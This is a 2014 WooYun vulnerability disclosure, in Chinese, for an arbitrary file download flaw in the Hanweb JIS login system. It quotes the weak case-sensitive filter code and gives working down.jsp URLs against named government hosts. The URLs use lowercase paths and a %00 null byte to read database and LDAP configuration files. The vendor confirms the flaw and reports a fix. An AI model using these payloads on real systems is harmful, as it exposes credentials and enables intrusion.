漏洞详情

披露状态:

2014-01-26: 细节已通知厂商并且等待厂商处理中
2014-01-26: 厂商已经确认,细节仅向厂商公开
2014-01-29: 细节向第三方安全合作伙伴开放
2014-02-05: 细节向核心白帽子及相关领域专家公开
2014-02-15: 细节向普通白帽子公开
2014-03-07: 细节向实习白帽子公开
2014-04-26: 细节向公众公开

简要描述:

大汉版通用登录JIS系统任意文件下载漏洞

详细说明:

界面:

image001.png



jis任意文件下载。至少WIN下一般都可以通杀,个别版本加了权限验证需要登录,但是我觉得只要登录后的身份合适,在win下都通杀的。

漏洞证明:

if(strFilePath.indexOf("WEB-INF")!=-1){
LogWriter.debug("下载文件不存在!");
out.println("<script>alert('file not exist!');history.back();</script>");
return;
}

//判断文件是否存在
File file = new File(strFilePath);
if (!file.exists() || file.getName().endsWith(".jsp")) {
LogWriter.debug("下载文件不存在!");
out.println("<script>alert('file not exist!');history.back();</script>");
return;
}



对大小写敏感的判断在win下根本没用啊

http://management.ysx.gov.cn/jis/down.jsp?pathfile=web-inf/config/dbconfig.xml

image003.png



http://ln-n-tax.gov.cn/jis/down.jsp?pathfile=WEB-INF/config/dbconfig.xml

image005.png



http://jis.sdds.gov.cn/jis/down.jsp?pathfile=down.jsp%00

image006.png



http://210.75.196.69/jis/down.jsp?pathfile=portlet/gmail/ldapconf.xml

image007.png



http://leader.beijing.gov.cn/jis/down.jsp?pathfile=portlet/gmail/ldapconf.xml

修复方案:

厂商懂的

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-26 12:29

厂商回复:

非常感谢您对大汉产品的关注以及对产品安全方面的指正,涉及问题已在新版本中修复。

最新状态:

暂无


漏洞评价: